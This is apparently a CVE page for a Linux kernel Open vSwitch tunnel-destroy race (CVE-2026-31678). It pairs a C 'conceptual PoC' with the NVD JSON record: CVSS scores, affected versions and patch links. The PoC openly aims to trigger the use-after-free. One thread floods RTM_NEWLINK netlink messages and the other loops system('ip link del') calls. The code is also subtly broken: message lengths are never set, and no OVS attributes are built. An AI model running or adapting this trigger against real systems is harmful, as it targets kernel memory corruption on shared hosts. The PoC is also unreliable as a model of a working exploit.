CVE-2026-31678

/* * Conceptual PoC for CVE-2026-31678 * Trigger race condition in Open vSwitch tunnel destruction. * Compile: gcc -o poc_cve2026_31678 poc_cve2026_31678.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <pthread.h> #define MAX_PAYLOAD 1024 void* create_tunnels(void* arg) { int sockfd; struct sockaddr_nl sa; struct msghdr msg; struct iovec iov; char buffer[MAX_PAYLOAD]; struct nlmsghdr *nlh; sockfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sockfd < 0) return NULL; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)); while(1) { // Simplified logic to simulate tunnel creation/deletion stress // In a real exploit, specific Netlink attributes for OVS would be crafted. memset(buffer, 0, MAX_PAYLOAD); nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_type = RTM_NEWLINK; // Simulating device creation nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REQUEST; nlh->nlmsg_pid = getpid(); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; msg.msg_name = (void *)&sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sockfd, &msg, 0); usleep(100); // Short delay to increase race window } close(sockfd); return NULL; } void* destroy_tunnels(void* arg) { // Simulate rapid deletion/destroy requests while(1) { // Logic to send RTM_DELLINK or trigger internal OVS destroy system("ip link del dummy_ovs 2>/dev/null"); usleep(50); } } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition Trigger for CVE-2026-31678\n"); printf("[+] Attempting to hit UAF in ovs_netdev_tunnel_destroy\n"); pthread_create(&t1, NULL, create_tunnels, NULL); pthread_create(&t2, NULL, destroy_tunnels, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-31678", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-25T09:16:01.437", "lastModified": "2026-05-06T21:28:02.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: defer tunnel netdev_put to RCU release\n\novs_netdev_tunnel_destroy() may run after NETDEV_UNREGISTER already\ndetached the device. Dropping the netdev reference in destroy can race\nwith concurrent readers that still observe vport->dev.\n\nDo not release vport->dev in ovs_netdev_tunnel_destroy(). Instead, let\nvport_netdev_free() drop the reference from the RCU callback, matching\nthe non-tunnel destroy path and avoiding additional synchronization\nunder RTNL."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3", "versionEndExcluding": "6.1.168", "matchCriteriaId": "4EB455B5-6DF4-474E-9AFE-9C1854DD0CDC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/42f0d3d81209654c08ffdde5a34b9b92d2645896", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6931d21f87bc6d657f145798fad0bf077b82486c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98b726ab5e2a4811e27c28e4d041f75bba147eab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9d56aced21fb9c104e8a3f3be9b21fbafe448ffc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b8c56a3fc5d879c0928f207a756b0f067f06c6a8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bbe7bd722bfaea36aab3da6cc60fb4a05c644643", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}